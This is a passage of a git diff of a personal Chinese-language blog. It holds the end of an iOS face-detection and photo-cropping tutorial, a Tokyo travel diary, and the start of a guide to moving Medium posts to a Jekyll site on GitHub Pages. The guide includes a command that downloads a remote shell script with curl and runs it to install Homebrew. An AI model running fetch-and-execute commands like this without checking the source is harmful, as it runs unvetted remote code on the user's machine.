+    let baseRequest = VNDetectFaceRectanglesRequest(completionHandler: completionHandle)
+    let faceHandle = VNImageRequestHandler(ciImage: ciImage, options: [:])
+    DispatchQueue.global().async {
+        //辨識需要時間,所以放入背景子執行緒執行,避免當前畫面卡住
+        do{
+            try faceHandle.perform([baseRequest])
+        }catch{
+            print("Throws:\(error)")
+        }
+    }
+  
+} else {
+    //
+    print("不支援")
+}
+

主要要注意的是,坐標系轉換部分;辨識出來的結果是Image的原始座標;我們須將它轉換成包在外面的ImageView的實際座標才能正確地使用它.

再來我們來做今天的重頭戲 — 依照人臉的位置裁切出大頭貼的正確位置

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+
let ratio = UIScreen.main.bounds.size.width
+//這邊是因為我UIIMAGEVIEW 那邊設定左右對齊0,寬高比1:1,詳情可看文末完整範例
+
+let sourceImage = UIImage(named: "Demo")
+
+imageView.contentMode = .scaleAspectFill
+//使用scaleAspectFill模式填滿
+
+imageView.image = sourceImage
+//直接賦予原圖片,我們之後再操作
+
+if let image = sourceImage,#available(iOS 11.0, *),let ciImage = CIImage(image: image) {
+    let completionHandle: VNRequestCompletionHandler = { request, error in
+        if request.results?.count == 1,let faceObservation = request.results?.first as? VNFaceObservation {
+            //ㄧ張臉
+            let size = CGSize(width: ratio, height: ratio)
+            
+            let translate = CGAffineTransform.identity.scaledBy(x: size.width, y: size.height)
+            let transform = CGAffineTransform(scaleX: 1, y: -1).translatedBy(x: 0, y: -size.height)
+            let finalRect =  faceObservation.boundingBox.applying(translate).applying(transform)
+            
+            let center = CGPoint(x: (finalRect.origin.x + finalRect.width/2 - size.width/2), y: (finalRect.origin.y + finalRect.height/2 - size.height/2))
+            //這裡是計算臉的範圍中間點位置
+            
+            let newImage = image.kf.resize(to: size, for: .aspectFill).kf.crop(to: size, anchorOn: center)
+            //將圖片依照中間點裁切
+            
+            DispatchQueue.main.async {
+                //操作UIVIEW,切回主執行緒
+                self.imageView.image = newImage
+            }
+        } else {
+            print("偵測到多張臉或沒有偵測到臉")
+        }
+    }
+    let baseRequest = VNDetectFaceRectanglesRequest(completionHandler: completionHandle)
+    let faceHandle = VNImageRequestHandler(ciImage: ciImage, options: [:])
+    DispatchQueue.global().async {
+        do{
+            try faceHandle.perform([baseRequest])
+        }catch{
+            print("Throws:\(error)")
+        }
+    }
+} else {
+    print("不支援")
+}
+

道理跟標記人臉位置差不多,差別在大頭貼的部分是固定尺寸(如:300x300),所以我們略過前面需要讓Image適應ImageView的第一部分

另一個差別是我們要多計算人臉範圍的中心點,並以這個中心點為準做裁切圖片

紅點為臉的範圍中心點

紅點為臉的範圍中心點

完成效果圖:

頓丹前的那一秒是原始圖位置

頓丹前的那一秒是原始圖位置

完整APP範例:

程式碼已上傳至Github: 請點此

有任何問題及指教歡迎 與我聯絡

===

本文首次發表於 Medium ➡️ 前往查看


This post is licensed under CC BY 4.0 by the author.

iOS ≥ 10 Notification Service Extension 應用 (Swift)

嚐鮮 iOS 12 CoreML — 使用機器學習自動預測文章分類,連模型也自己訓練!

diff --git a/posts/9da2c51fa4f2/index.html b/posts/9da2c51fa4f2/index.html new file mode 100644 index 000000000..49a744a7b --- /dev/null +++ b/posts/9da2c51fa4f2/index.html @@ -0,0 +1 @@ + 遊記 2023 東京 5 日自由行 | ZhgChgLi
Home 遊記 2023 東京 5 日自由行
Post
Cancel

遊記 2023 東京 5 日自由行

[遊記] 2023 東京 5 日自由行

繼上個月京阪神後,2023/06 東京 5 日自由行紀錄及食住行資訊

2023/05 京阪神 8 日自由行

繼上一篇「 [遊記] 2023 京阪神 & 🇯🇵初次著陸 」很快地,隔了一週又再次來到日本。

你說為何不待在日本直接搭新幹線從大阪到東京?原因是東京行其實才是本來預期內安排的出國旅行,京阪神之行純屬程咬金。

加上懶得改機票跟改住宿和不想有一週要 Work From Japan (覺得玩就要純粹玩),所以京阪神完就先回來台灣。

後面來看,還好有回來;因為回台灣的那週日本遇到超強颱風,淹水、新幹線停駛、車站塞爆;如果那週在日本想必也沒什麼地方可以去吧。(終於不是🌧️雨神了啊啊啊)

東京行的組合 — 三單男

我 & 當前同事 (Sean) & 前前同事 ( James Lin );其中 Sean & James 是大學同學。(沒錯,業界就是這麼小 XD)

日本入境資訊、其他資訊心得分享請參考 前一篇

行前準備

說歸說東京行才是預期出國安排內,但我們也一直只停留在嘴上説說;直到我京阪神那邊都確定的差不多了,東京這邊也才開始規劃跟實際執行。

[tripmoment](https://www.instagram.com/p/CuE3jtkvjfS/){:target="_blank"}

tripmoment

對沒去過的地方,我依然是 ENFP 隨性派,覺得去哪裡都很新鮮;所以主要只負責大方向的機票跟住宿還有交通;景點就看其他旅伴想去哪或當下感覺想去哪看看才決定。

樂,主要由 Sean & James Handle 了一切,我們有計劃需要先買票的是迪士尼樂園(海洋)跟橫濱鋼彈、Shibuya Sky;因此在出發前兩週就先買好票了。

以上沒有先買,到現場都是沒有空的位子可以進去的。

這次我家上次剩的,帶了 $60,000 日幣,最後只剩 $5,00 上下。

因為在新宿的藥妝店遇到 Visa 刷不過只能付現金 $10,000 多買藥妝,還有最後想說把現金花光。

另外最後還差點回不來,在東京車站買往成田機場的車票時不能刷卡,東湊西湊下才湊齊車錢。

🛫

因為這次只排 5 天,時間不多,因此機票優先選早去晚回;因為日期接近一樣直接上 SkyScanner 找時間好的航班了。

桃園 <-> 成田

  • 6/7 長榮 BR 184 08:00 TPE -> NRT 12:25
  • 6/22 長榮 BR 195 20:40 NRT -> TPE 23:20

來回: $17,086

這邊犯了個錯, 就是不應該一個人刷三張機票 ,要自己買自己的,因信用卡刷卡買機票會送旅遊保險。

後來還發現松山飛羽田沒貴多少還比較方便 Orz。

旅遊險:Done

📲

一樣上 KKDAY 買 5 天吃到飽的 SIM 卡約 $500。

🚈

上篇 iPhone 一樣直接使用西瓜卡,我朋友是 Android 就只能去買 Welcome Suica 限時西瓜卡(在成田機場問,真的只剩這個)。

這次只去東京,因此就找一間能住四天不用換的;因為時間接近,東京連鎖的 東橫 Inn or APA 全都沒有空房了;只能上 Agoda 找東京地圖靠近中間又有電車地鐵站的飯店。

Hotel Villa Fontaine Grand Tokyo-Shiodome — 4 晚

出來就是汐留站,可以直接去台場或新宿。

如果要去其他地點要走路到新橋站(大約 10 分鐘),從新橋過到東京車站大約也是再 10 分鐘 (1–2 站的距離)。

還算方便並且價格合理、評價 OK,實際住下來除了乾淨舒服,房間內也不會太小。

因為是三個人,格局是兩張床+沙發上鋪床墊(實際睡起來跟床一樣)

3人共 NT$23,894

町.草休行館 CHO Stay Capsule Hotel-全台唯一機場膠囊旅館 | 桃園機場膠囊旅館 | 桃園機場飯店 | Taoyuan Airport Hotel | 桃園空港 ホテル — Day 0 過夜

這次出行比較特別的是因為是一早 8 點的飛機,我們又都從台北出發;抓 6 點到機場,凌晨 4–5 點就要出門了;加上要出去玩的緊張興奮會難以入眠,根本睡不了幾個小時。

因此在出發前幾天決定前一天晚上就先去機場過夜,聽朋友說才知道原來桃園機場有膠囊旅館,就來試試了!

地點:就在第二航廈南側號5樓,下樓就是第二航廈 (走下來約 5 分鐘)

房間有雙人房、三人房、四人房、跟單人床位 (大概有 16 個床位一間)

我們訂的時候就只剩單人床位了。

1人 NT$1,500

Day 0 出發

基本上我就是把京阪神買的東西卸貨,把一些衣物用品拿出來,再重新整理放回行李箱就出發了。

機捷預辦登機目前還不能辦理隔日航班,因此只能提著行李箱大包小包的去第二航廈。

Sean & Me & James

Sean & Me & James

到達第二航廈後直上三樓出境大廳,到達出境大廳後找到往 22–26 南側商場觀景台的位置(面對大廳往右走到底)。

走到底看到手扶梯往上走

手扶梯一上來就會看到很有台灣風格的旅館門口

桃機膠囊旅館

Check-In 後就能先進去放行李,然後出來外面覓食。

房間內禁止飲食,我們這次入住每人送一個茶包可以請櫃檯幫忙泡,坐在門口吧台喝,現場填寫加入會員有送毛巾。

門口有耳塞可以免費索取。

走廊

走廊

衛浴設施很新很乾淨舒服,馬桶有兩個、淋浴間有五間、有兩隻吹風機(1 隻 Dyson)、有提供沐浴乳洗髮精,只要自備毛巾盥洗用具。

男衛浴

男衛浴

一進來左手邊有行李房可以放行李,床位格局如下:

床位宿舍

床位宿舍

每個床位都有獨立的鏡子、書桌、燈、窗簾、垃圾桶;我睡的是上鋪,床墊很厚不怕因為動來動去吵到下舖。

床墊除了厚之外也夠長,176 CM 睡起來沒什麼問題;環境乾淨、燈光溫馨、冷氣很舒服;唯一不可抗拒的因素就是有人打呼還是會傳遞進來。(所以門口有提供免費耳塞)

不過我不怕吵,只要溫馨放鬆就能睡得很好;於是我一覺到天亮,直接睡到快 6 點才洗漱 Check-out(直接睡飽睡滿,再出國)。

還好我們前一晚有預定,遇到有其他旅客想現場入住,已經沒位子了。

一早起來先悠閒的看一下機場風景:

本來以為早上 8 點會人擠人但運氣很好幾乎沒人

早知道就在膠囊旅館睡到 7 點再下來了!

候機

這次遇到的登機口要搭接駁車(大陸網友稱擺渡車)

很熱很擠,但還是到登機口了:

Bye 🇹🇼

Bye 🇹🇼

抵達成田機場

Hey 🇯🇵

Hey 🇯🇵

Day 1 渋谷、Parco、Shibuya Sky

從下機到入境大廳大概要走個 15 分鐘,再到提領行李實際出關入境大約已經下午 1 點了。

轉搭成田特快的時候一開始犯蠢,直接刷 西瓜卡進站;結果整班特快都是指定席,只能回頭出站買票再進站(後來發現好像可以直接在站內月台機器買票)。

後來搭上兩點出的成田特快往東京車站。

一路看風景,能看到晴空塔的時候就代表快到了。

到達東京車站後再轉搭地鐵到新橋站,然後找路、走路到汐留。

飯店藏身在辦公大樓內,很特別:

一開始以為走錯走到人家辦公大樓,結果往裡面走就是飯店了。

放行李、休息一下: Hotel Villa Fontaine Grand Tokyo Shiodome

(影片是後來才補拍的,有點亂XD)

前往 渋谷 (澀谷) Shibuya

這個十字路口一定要來朝聖一下,想到今際之國的闖關者。

[Netflix](https://www.netflix.com/browse){:target="_blank"} — 今際の国のアリス

Netflix — 今際の国のアリス

渋谷 Parco — 極味屋

排隊品嘗有名的極味屋,大約 5 點半左右到,排差不多 45 分鐘就有位子了。

我點的是神戶牛漢堡肉+神戶牛排+湯飯冰淇淋的套餐組合 ($3,355 日圓):

店員幫忙 Set 好時的熟度約只有 1 分,要自己夾起來放到鐵板煎到自己喜好的熟度。 極味屋

這邊要注意要使用兩雙筷子;因衛生,鐵的用來煎、竹的用來吃,交替使用。

神戶牛排超好吃,汁多裡嫩,沒有任何牛騷味🤩;漢堡肉也不錯,但比較膩一點。

渋谷 Parco — 對自己吐槽的白熊專賣店

失手買了一些。

渋谷 — Shibuya Sky

還好 Sean 有提早買票,現場才買根本進不去。

上面很黑、有點風,不能攜帶包包上去(有提供有鎖置物櫃)。

除了角落有一家酒吧之外沒有其他設施、光害,拍照跟看夜景很漂亮。

酒吧應該要另外訂位,開放時間同參觀時間。

回飯店後依然是清酒泡麵點心三件組,結束這一日

豆皮泡麵好好吃。

Day 2 橫濱鋼彈、台場、新宿

第二天一早趕 10 點鋼彈表演,先搭電車到櫻木町站再轉搭纜車+走路到鋼彈工廠。

橫濱鋼彈

天氣超級好啊!!

鋼彈表演一路從 10 點到中午,不同場次有不同劇情;但因為我不是鋼彈迷所以只是跟來走馬看花。

但不得不說很壯觀,細節、動作跟聲音很精緻。

裡面還有周邊專賣店,賣鋼彈模型跟獨家商品。

Sean 的鋼彈完成品

Sean 的鋼彈完成品

因為不是鋼彈迷,因此我進場逛了一下看了幾場表演就先離開了。

台場

改前往台場,從汐留出發到台場的電車很酷,一路上可以看到富士電視台跟整個台場的景觀。

抵達台場後先來看台場的自由女神。

是紐約的自由女神的1/7, 象徵日法的友好關係。

再往前走一點回頭一望就是在烏龍派出所裡被阿兩破壞很多次的富士電視台

再往前走一點到商場吃章魚燒跟台灣雞排?

章魚燒普,太多顆很膩;雞排蠻特別的,雖然寫台灣唐揚,不過實際是日式雞排(薄、無骨)然後用台灣裹粉的炸法,跟台灣雞排還是不一樣,不過我還是跟店員說好吃、我是台灣人🤣。

本來打算去台場的百貨公司買買衣服鞋子,但快到的時候撇見地鐵能到新宿;就突然拐個彎前往新宿了。

新宿

開始逛街走走看看

去 La Lebo 聞了一下東京專屬的 GAIAC 10 號味道

覺得很淡…木質調…聞不太出來。(但 Day 4 還是下手了)

最後只去百貨公司買買衣服褲子跟藥妝,天氣開始陰雨就折返回飯店了。

一樣用吃結束這一天

熱狗好吃、水果酒好喝!

Day 3 迪士尼海洋

一早出發,當天早上天氣陰雨綿綿。

我們買的是海洋,沒買陸地, 那個漂亮的城堡陸地才有;海洋的入口要再搭園內的電車去。

入園後開始抽抽可以抽的表演或入場,但都沒中,最後我們購買晚上的表演煙火活動「 堅信!~夢想之海~ 」的前排位子(不買也可以在外圍看,表演在港灣公共區域)。

雨越來越大,於是先去路邊商店買米奇雨衣:

個人覺得質感材質都蠻好的,還有可愛的米奇或米妮圖案(深紅色)可以選,而且不貴!!

幸運的是中午後就沒下啦!!我不是雨男!!

買完雨衣就直衝「 玩具總動員瘋狂遊戲屋 」:

人很多,大概排了 100 多分鐘才排到:

遊戲內容是 2 人一組(1 人就跟人機)操作按鈕射投影氣球得分,趣味性高,刺激性低,很適合情侶或親子。

旁邊還有蛋頭先生的互動劇場表演跟小的紀念品店:

很可愛的抱哥玩偶!!

再來是「 翱翔:夢幻奇航的圖像 」,也是熱門遊樂設施:

排隊入場後在遊戲開始之前會有場景開始帶入,探險家的故事,掛在牆上的畫,其實是高解析螢幕,有動畫跟講話,效果很厲害!

劇場,球型巨幕+4D 體驗(座椅會上升前進+空氣味道);內容是世界各地的風景,例如大草原就會有草原的味道;很驚艷,適合所有人!

這邊我們是買快速通關。

玩完這兩個設施之後接近中午時分,開始覓食,因為餐廳都滿了就只能找小吃類的食物,我們就隨便吃了 Pizza、雞腿…等等。

拿著食物出來剛好港灣表演活動「 眾彩同慶 」開始:

吃飽開始在園區繞繞逛逛紀念品店:

消化的差不多後開始排「 地心探險之旅 」:

大約需要 90–100 分鐘,排到剛好完全消化完了,不然太刺激XD

內容是復刻電影地心歷險,場景跟沈浸很厲害;最後會有加速&稍微地往下衝(失重感),刺激感較強但不會到真的腿軟,適合想找尋一點刺激的朋友。

出來後又去旁邊的「 海底兩萬哩 」緩和一下:

沒什麼人,內容是仿造的潛水艇下水探索的感覺(但應該是模擬),刺激性很低,只適合小小孩。

坐完繼續逛逛吃吃:

很可愛但很甜的米奇冰棒,還有安娜貝爾(玲娜貝爾)。

繼續走走拍拍,園區真的很大,單純拍一些造景,動畫類夢幻場景都沒拍:

走到底後又去搭了「 印第安納瓊斯冒險旅程:水晶骷髏頭魔宮 」:

沒有地心探險之旅刺激(不會失重往下衝、也沒那麼快),內容是電影印第安納瓊斯的沈浸場景,個人覺得有趣好玩。

繼續走馬看花:

也搭了「 迪士尼海洋渡輪航線 」與「 迪士尼海洋電氣化鐵路 」因為走得腳很酸,沿途順便看看風景不錯;比較偏向園區內交通設施,無特別遊樂效果。

時間接近傍晚時,開始大買特買跟拍照:

不得不說很容易買瘋了,因為很多 40 週年限定;順便跟地球拍照。

接近表演開演時間後開始走回港灣,入場席地而坐。

如前述,我們有加購一般席的觀賞位子。

整場表演陳進體驗感很強,包含音樂、投影(後面火山會爆炸!)、雷射、煙火、迪士尼海洋相關角色劇情…結合得很好,一定要留到晚上看完表演才值回票價。

整天的迪士尼體驗下來的心得是,所有設施都很有沈浸感,不是單純的遊樂設施,而是希望遊客能融入那個角色與場景;雖然刺激性不如環球,但我覺得趣味性很足;晚上的煙火表演一定要看!

很多可愛的周邊要控制好自己的手(剁手手)!

食物方面都亂吃,覺得從外面帶自己的食物進來應該比較好。

時間允許的話要兩天陸+海,海的沒有夢幻城堡跟陸地上的遊行QQ

JR 舞濱車站外面還有最後一家周邊專賣店可以買,最後又逛了一下,才依依不捨的離開。

回飯店後,繼續每日慣例;今天吃醬油泡麵、哈密瓜果肉果汁(好喝!!)、秋雅的梅酒(好喝!!)、烏龍燒酒(沒什麼味道,不好喝)。

Day 4 東京鐵塔、明治神宮、Le Labo、龜有烏龍派出所、淺草雷門、晴空塔

一早睡飽後,才開始想今日行程(瘋狂 ENFP),大家一起的只有晚上的晴空塔;早上朋友們去秋葉原了,是個獨自探索東京的一天。

東京鐵塔

看了地圖,新橋離東京鐵塔不遠;就決定先去那兒了。

走出門發現地鐵有事故嚴重誤點,看 Google Map 距離不遠,就改用走的了(約 20 分鐘):

一人徒步在東京街頭看看風景,6 月還不會太熱,吹吹風很舒服。

在路邊遇到賣熱呼呼的烤蕃薯

在路邊遇到賣熱呼呼的烤蕃薯

快走到東京鐵塔時經過一個公園「Tokyo Metropolitan Shiba Park⁩」從這邊的樹枝間看鐵塔也別有一番風味:

繼續走過個山腳路,就到東京鐵塔下了。

進入鐵塔後買了 Top Deck 門票;除了可以上到鐵塔最頂端還包含導覽(有中文語音),並且附送一張到此一遊的紀念照片!(體驗很棒)

導覽有類似昨天迪士尼會動的壁畫XD兩位前人在對話,內容那略是要蓋一棟日本有標誌性的建築物,同一位建築師另一個作品是大阪的通天閣。

早上鳥瞰東京景觀也不錯,第三張遠方就是晚上要去的晴空塔。

最後附上免費的登頂成功紀念照!

明治神宮

去完東京鐵塔,看了下地圖決定下一站去明治神宮。

出地鐵又走了一大段 (約 30 分鐘)才到明治神宮內。

比較特別的事是剛好遇到日本傳統婚禮,在旁參觀:

最後在本殿完成參拜就離開了

覺得明治神宮比較莊重嚴肅,後面去淺草寺覺得觀光客太多很雜。

下一站是自己從小看到大的龜有-烏龍派出所,想去看看長怎樣;在去的路上時先去表參道的 Le Labo 再次聞聞看。

LE LABO 青山店

其實我對 Le Labo 興趣不大,個人比較喜歡 Ormonde Jayne 的香水,而且 Le Labo 給我一種大眾賣包裝的感覺。

聞了一輪買了 Another 13,味道夠濃;還有不免俗跟風買了東京專屬的 Gaiac 10,都買 15ml 當紀念。

Le Labo香水都是現場封裝跟貼標的(約需等 15–20 分鐘),可以客製化自己的標籤;13 是我自己喜歡的所以選「ZhgChgLi」、10 是代表東京,用破英文問店員哪個能代表日本,他說 ♨️ 😝。

日本 Le Labo 價格如上,加上免稅最後 13 再少 $1,000 日圓。

東京專屬的 Gaiac 10 比較貴,免稅後還要 $16,800 日圓。

龜有烏龍派出所

買完就繼續往龜有搭(龜有真的蠻遠的)。

一出站正門就有烏龍派出所的人像:

看地圖先跑去後站的龜有公園逛逛:

就只是一般的公園QQ,很多小孩在裡面踢球就這樣,公園椅子有一個阿兩的坐姿人像,被放滿小孩的東西包包類,就沒拍了。

查網路附近的 Ario 百貨公司有烏龍派出所的場景跟樂園,於事繼續走去(約 10 分鐘):

進去後心態崩了,幾乎可以確定歸有已經不維護烏龍派出所這個 IP (年輕人都不看了…) ;除了車站出來的人像外,從前面的日常公園到所謂的烏龍派出所樂園,目前也只剩下佈景還在,佈景之外已經改裝成遊樂場(夾娃娃機)了。

最慘的是入口的阿兩扭蛋機,阿兩人像的眼睛破掉也沒修,整個很淒涼;最後扭了一個熱褲刑警,就悻悻然地離開了。

看地圖搭公車到淺草比較近,查路線&走到公車站大概花了 15 分鐘:

走到公車站的路上幾乎都沒人、也沒觀光客,公車站路線 Google 連翻譯也沒;真的來到非觀光區了。

上公車時還出了烏龍,因為在京都搭是下車才收費,所以上車就呆呆地站著,又聽不懂日文,直到好心的日本乘客說 pay pay 我才意會到去前面刷卡付費。

一路上很安靜舒服,日本司機都會等到客人坐好、起身下車才會啟動;一路晃晃悠悠到淺草寺。

觀光客真的超級超級多啊!!有夠擠,只能找角度拍了。

繼續往內淺草寺走,觀光客實在太多了,本來沒打算買任何東西,就只是走來看看;途中吃到這家豆子店,意外的好吃就買了當伴手禮。

到淺草寺後人還是一樣很多,拍拍照片就離開了。

這時時間也接近傍晚,開始慢慢的往晴空塔移動。

淺草寺遠眺晴空塔。

晴空塔

因為時間還早,所以一樣用走的一路看風景過去。

越走越近,越來越大。

走到晴空塔後,先在裡面的商場逛逛,點了杯北海道草莓冰淇淋休息一下。

晴空塔我們沒買到 Top Deck,只買到中間景觀,7點入場。

剛上去時還沒天黑,先隨手拍了幾張:

日落後,可以鳥瞰整個東京的夜景,很美:

第一張圖左上角就是遠方的東京鐵塔;裡面很暗、玻璃會反光不太好自拍人像。

免強拍了一張XD

離開前最後回眸一拍。

最後一晚吃吃居酒屋、拍拍路上的夜景記錄:

鶏の炭火焼

鶏の炭火焼

日本今天開始天氣也不好了,沒想到每天經過的汐留就能看到東京鐵塔、還有特別的裝置藝術,最後一天才駐足欣賞。

最後一晚的宵夜

還是日清泡麵好吃加上超商炸雞🤤!前幾天買哈密瓜的果肉果汁,今天買草莓的,一樣好喝;清酒沒印象,這兩隻應該普普。

Day 5 國會議事堂、皇居、東京車站、回程

起床後去寄放行李,同 Day 4 獨自隨性看感覺探索東京,因為是晚上的飛機,還有大半天可以晃,天氣陰雨不佳。

想到昨天在晴空塔扭蛋機看到日本代表地標有一個國會議事堂沒看過,就先朝這邊去。

國會議事堂

趣事之一是在路上遇到日本極端主義的抗議:

開著宣傳車在國會議事堂附近大聲廣報,被警察攔下來後警察拆除他的廣播器;後來又加速闖紅燈逃跑,到處都警察,有點可怕。

經過國會議事堂看大門緊閉就沒進去了(好像可以從側門進去參觀?):

遠遠的拍一張到此一遊照,就往下往皇居走了。

皇居

皇居真的很大,光從最外面走道入口就大概花了快 30 分鐘。

走到天守台之後就離開了,當天皇居內也沒有開放參觀。

大概又走了快 1 小時回到東京車站一代(可以搭地鐵,但就一兩站;我喜歡在街頭走走看看風景)。

東京車站

此時也接近中午,在東京車站內亂逛;只是證明一下自己不會迷路,但很懶得排有名的伴手禮店。

最後一餐吃天婦羅蕎麥麵。

順手去賣酒的商鋪帶一大一小清酒回台灣,店員還是台灣人。

回程

約莫下午 4 點多回飯店拿行李,開始慢慢移動到成田機場。

新橋離開前一隅。

回程直接從新橋去成田空港因為班次問題跟時間很充裕,搭的是都營淺草線機場快線,大約 1 小時 15 分多會到; 但不能用刷卡、Sucia 買票,於是當下東拼西湊湊齊三個人的票錢,差一點買不起

到機場時大約 5:30 還很早。

出境之後時間也還很早,隨便吃個東西墊墊胃然後最後一逛免稅店。

發現要買獺祭或常見伴手禮(白色戀人、香蕉蛋糕…)這裡什麼都有,在這裡買就好了XD

獺祭跟我在東京車站買價格差不多。

上機,Hey 🇹🇼:

日本天氣狀況很不好,一路搖搖晃晃(死魚眼),比迪士尼的遊樂設施還刺激,一度停止共餐;還好最後安全抵達台灣。

出境入關弄一弄大約 00:12 了,搭白牌計程車回台北差不多 01:30;洗個澡直接睡,結束這一堂旅程。

後記

  • 日本相關文化心得請參考上篇「 [遊記] 2023 京阪神 & 🇯🇵初次著陸
  • 日本時間表示法是 30小時制,25:00 代表凌晨 01:00 很酷
  • 日幣真的要留至少 1 萬上下在身上,避免遇到不能刷卡或不能刷 Vias 卡的狀況
  • 感謝這次的旅伴, Sean INFJ/James ISTJ 規劃大神;Sean 迪士尼怎麼玩先玩哪個、哪個買快速比較值得都是他控場的

黃明志東京奧運洗腦歌【東京盆踊りTokyo Bon 2020】Ft. 二宮芽生 & Cool Japan TV @亞洲通吃 2018 All Eat Asia

回台灣後一直重複播的洗腦歌。

下一站

更多遊記

有任何問題及指教歡迎 與我聯絡

===

本文首次發表於 Medium ➡️ 前往查看


This post is licensed under CC BY 4.0 by the author.

遊記 2023 京阪神 8 日自由行

Create a Github Repo Star Notifier for Free with Google Apps Script in Three Simple Steps

diff --git a/posts/a0c08d579ab1/index.html b/posts/a0c08d579ab1/index.html new file mode 100644 index 000000000..1037983eb --- /dev/null +++ b/posts/a0c08d579ab1/index.html @@ -0,0 +1,495 @@ + 無痛轉移 Medium 到自架網站 | ZhgChgLi
Home 無痛轉移 Medium 到自架網站
Post
Cancel

無痛轉移 Medium 到自架網站

無痛轉移 Medium 到自架網站

將 Medium 內容搬遷至 Github Pages (with Jekyll/Chirpy)

[zhgchg.li](http://zhgchg.li){:target="_blank"}

zhgchg.li

背景

經營 Medium 的第四年,已累積超過 65 篇文章,將近 1000+ 小時的時間心血;當初會選擇 Medium 的原因是簡單方便,可以很好的把心思放在撰寫文章上,不需要去管其他的事;在此之前曾經嘗試過自架 Wordpress,但都把心思放在弄環境、樣式、Plguin 這些事情上,感覺怎麼調整都不滿意,調整好後又發現載入太慢、閱讀體驗不佳、後台撰寫文章介面也不夠人性化,然後就沒怎麼在更新了。

隨著在 Medium 撰寫的文章越來越多、累積了一些流量與追蹤者後,又開始想自己掌握著這些成果,而不是被第三方平台掌控 (e.g Medium 關站心血全沒),所以從前年開始就一直在尋覓第二備份網站,會持續經營 Medium 但也會同步把內容發佈到自己能掌控的網站上;當時找到的解決方案是 — Google Site 但老實說只能當成個人「入口網站」使用,文章撰寫界面功能有限,無法真的把所有文章心血搬過去。

最終還是走回自架的的道路,不同的是採用的並非動態網站(e.g. wordpress),而是靜態網站;相較之下能支援的功能較少,但是我要的就是文章撰寫功能跟簡潔流暢可客製化的瀏覽體驗,其他都不需要!

靜態網站的工作流程是:在本地使用 Markdown 格式撰寫好文章,然後將其透過靜態網站引擎轉換為 靜態網頁 上傳到伺服器,即完成;靜態網頁,瀏覽體驗快速!

使用 Markdown 格式寫作,可以讓文章兼容更多不同平台;如不習慣,也可以找線上或線下的 Markdown 撰寫工具,體驗就跟直接在 Medium 撰寫一樣!。

綜合以上,這個方案可以達成我希望流暢的瀏覽體驗及方便的撰寫界面兩個維度的需求。

成果

[zhgchg.li](http://zhgchg.li){:target="_blank"}

zhgchg.li

  • 支援客製化顯示樣式
  • 支援客製化頁面調整 (e.g. 插入廣告、js widget)
  • 支援自訂頁面
  • 支援自訂域名
  • 靜態化頁面載入快速、瀏覽體驗佳
  • 使用 Git 版本控制,文章所有的歷史版本都能保留恢復
  • 全自動定時自動同步 Medium 文章到網站

環境及工具

安裝 Ruby

這邊只以我的環境為例,其他作業系統版本請 Google 如何安裝 Ruby

  • macOS Monterey 12.1
  • rbenv
  • ruby 2.6.5

安裝 Brew

1
+
/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"
+

在 Terminal 輸入以上指令安裝 Brew。

安裝 rbenv

1
+
brew install rbenv ruby-build
+

MacOS 雖自帶 Ruby 但建議使用 rbenv 安裝另一個 Ruby 與系統自帶的區隔開來,在 Terminal 輸入以上指令安裝 rbenv。

1
+
rbenv init
+

在 Terminal 輸入以上指令初始化 rbenv

  • 關閉&重新打開 Terminal。

在 Terminal 輸入 rbenv 檢查是否安裝成功!

成功!

使用 rbenv 安裝 Ruby

1
+
rbenv install 2.6.5
+

在 Terminal 輸入以上指令安裝 Ruby 2.6.5 版本。

1
+
rbenv global 2.6.5
+

在 Terminal 輸入以上指令將 Terminal 所使用的 Ruby 版本從系統自帶的切換到 rbenv 的版本。

在 Terminal 輸入 rbenv versions 查看當前設定:

在 Terminal 輸入 ruby -v 查看當前 Ruby、 gem -v 查看當前 RubyGems 狀況:

*Ruby 安裝完後理應也安裝好 RubyGems 了。

成功!

安裝 Jekyll & Bundler & ZMediumToMarkdown

1
+
gem install jekyll bundler ZMediumToMarkdown
+

在 Terminal 輸入以上指令安裝 Jekyll & Bundler & ZMediumToMarkdown。

完成!

從模版建立 Jekyll Blog

預設的 Jekyll Blog 樣式非常簡潔,我們可以從以下網站找到自己喜歡的樣式並套用:

安裝方式一般使用 gem-based themes ,也有的 Repo 提供 Fork 方式安裝;甚至是提供直接一鍵安裝方式;總之每個模板的安裝方式可能有所不同,請參閱模板的教學使用。

另外要注意,因我們要部署到 Github Pages 上,依據官方文件所說並非所有模板都能適用。

Chirpy 模版

這邊就以我 Blog 採用的模版 Chirpy 為示範,此模版提供最傻瓜的一鍵安裝方式,可以直接使用。

其他模版比較少有提供類似的一鍵安裝,在不熟悉 Jeklly、Github Pages 的情況下先使用此模版是比較好入門的方式;日後有機會再更新文章講其他的模版安裝方式。

另外在 Github 上找可以直接 Fork 的模版也可以(e.g. al-folio )直接使用,如果都不是,是需要自己手動安裝的模版就要自行研究如何設定 Github Pages 部署,這邊我稍微研究了一下沒成功,待日後有結果再回來文章補充分享。

從 Git Template 建立 Git Repo

https://github.com/cotes2020/chirpy-starter/generate

  • Repository name: Github帳號/組織名稱.github.io ( 務必使用這個格式 )
  • 務必選擇「Public」公開 Repo

點擊「Create repository from template」

完成 Repo 建立。

Git Clone 專案

1
+
git clone git@github.com:zhgchgli0718/zhgchgli0718.github.io.git
+

git clone 剛剛建立的 Repo。

執行 bundle 安裝依賴:

執行 bundle lock — add-platform x86_64-linux 鎖定版本

修改網站設定

打開 _config.yml 設定檔案進行設定:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+55
+56
+57
+58
+59
+60
+61
+62
+63
+64
+65
+66
+67
+68
+69
+70
+71
+72
+73
+74
+75
+76
+77
+78
+79
+80
+81
+82
+83
+84
+85
+86
+87
+88
+89
+90
+91
+92
+93
+94
+95
+96
+97
+98
+99
+100
+101
+102
+103
+104
+105
+106
+107
+108
+109
+110
+111
+112
+113
+114
+115
+116
+117
+118
+119
+120
+121
+122
+123
+124
+125
+126
+127
+128
+129
+130
+131
+132
+133
+134
+135
+136
+137
+138
+139
+140
+141
+142
+143
+144
+145
